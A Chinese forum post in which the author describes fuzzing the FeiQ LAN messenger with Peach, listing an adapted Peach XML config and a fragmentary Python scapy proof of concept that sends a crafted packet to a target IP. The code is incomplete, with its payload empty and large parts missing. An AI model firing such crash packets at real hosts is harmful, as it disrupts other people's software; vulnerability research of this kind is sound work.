[原创]用peach又发现一个飞秋bug,不知道对不

最近在看软件漏洞分析技术,看大家都拿feiq实验,我也来一个feiq的bug。
一、用peach做fuzzing
1、安装
peach见这里,最新是2.3.8,有32位、64位ie for win的下载,据说也支持在linux、osx下使用,但我在linux下安装失败,4suit-xml包装不上,有知道原因的请告诉我。
2、配置feiq.xml
用samples/network.xml改的,大家凑合看。
<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://phed.org/2008/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://phed.org/2008/Peach ../peach.xsd" version="1.0"
        author="Michael Eddington" description="Hello World Example">

        <!--
               
        Example of the Network monitor.  This example requires two machines.
               
        The included example program will fault on test 47.
               
        Configure:
               
                Change 192.168.1.195 to IP of second machine.
               
        Syntax:
               
                2nd machine: python peach.py -a
                1st machine:  python peach.py samples\Debugger.xml
               
        Output:
               
                You will see the tests scroll along.  Once test 47 has occured you can check
                the c:\peach\logfiles folder for a log of this test that will include a Debugger.txt
                and Network.pcap faul output.

3、执行c:\peach\peach.bat samples\feiq.xml
结果看图片

5、最后给出poc(不知道算不)
#coding=utf-8
#sudo python sendp.py 192.168.197.128 和了?,.!!!

logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

                self.msg = self.d_msg
               
                self.__make_packet__()
                #self.packet.show()
                sendp(fragment(self.packet, 1024))

        import sys
        if len(sys.argv) != 3:

        t = feiqiu(sys.argv[1])
        msg = ''
        t.send_msg(msg)
